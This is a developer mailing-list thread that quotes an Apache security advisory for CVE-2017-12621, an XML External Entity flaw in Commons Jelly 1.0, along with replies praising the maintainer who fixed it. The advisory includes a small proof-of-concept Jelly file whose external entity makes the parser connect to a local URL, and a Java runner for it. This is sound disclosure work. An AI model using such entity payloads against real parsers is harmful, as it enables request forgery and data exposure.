I agree this required a lot of dedication/work.

Thanks Rob!

Am 27.09.2017 um 16:29 schrieb Benedikt Ritter:
I would like to give kudos to Rob for handling this issue. The kind of 
dedication you put into fixing this issue and releasing a component that has 
not been touched for ages is what I’m looking for in PMC members.

Great work!
Benedikt

Am 27.09.2017 um 15:05 schrieb Rob Tompkins <chtom...@apache.org>:

CVE-2017-12621: Apache Commons Jelly connects to URL with custom doctype 
definitions.

Severity: Medium

Vendor:
The Apache Software Foundation

Versions Affected:
commons-jelly-1.0 (core), namely commons-jelly-1.0.jar

Description:
During Jelly (xml) file parsing with Apache Xerces, if a custom doctype entity 
is declared with a “SYSTEM” entity with a URL and that entity is used in the 
body of the Jelly file, during parser instantiation the parser will attempt to 
connect to said URL. This could lead to XML External Entity (XXE) attacks. The 
Open Web Application Security Project suggests that the fix be 
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet#XMLReader

Mitigation:
1.0 users should migrate to 1.0.1.

Example:

example.jelly
--------------
<?xml version="1.0"?>
<!---
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements.  See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License.  You may obtain a copy of the License at
      http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<!DOCTYPE r [
        <!ELEMENT r ANY >
        <!ENTITY sp SYSTEM "http://127.0.0.1:4444/";>
        ]>
<r>&sp;</r>
<j:jelly trim="false" xmlns:j="jelly:core"
         xmlns:x="jelly:xml"
         xmlns:html="jelly:html">
</j:jelly>
--------------

ExampleParser.java
------------------
public class ExampleParser {
        
        public static void main(String[] args) throws JellyException, 
IOException,
                                        NoSuchMethodException, 
IllegalAccessException,IllegalArgumentException,
                                        InvocationTargetException {
                JellyContext context = new JellyContext();
                context.runScript("example.jelly", null);
        }
}

Credit:
This was discovered by Luca Carettoni of Doyensec.

References:
[1] http://commons.apache.org/jelly/security-reports.html
[2] https://issues.apache.org/jira/browse/JELLY-293


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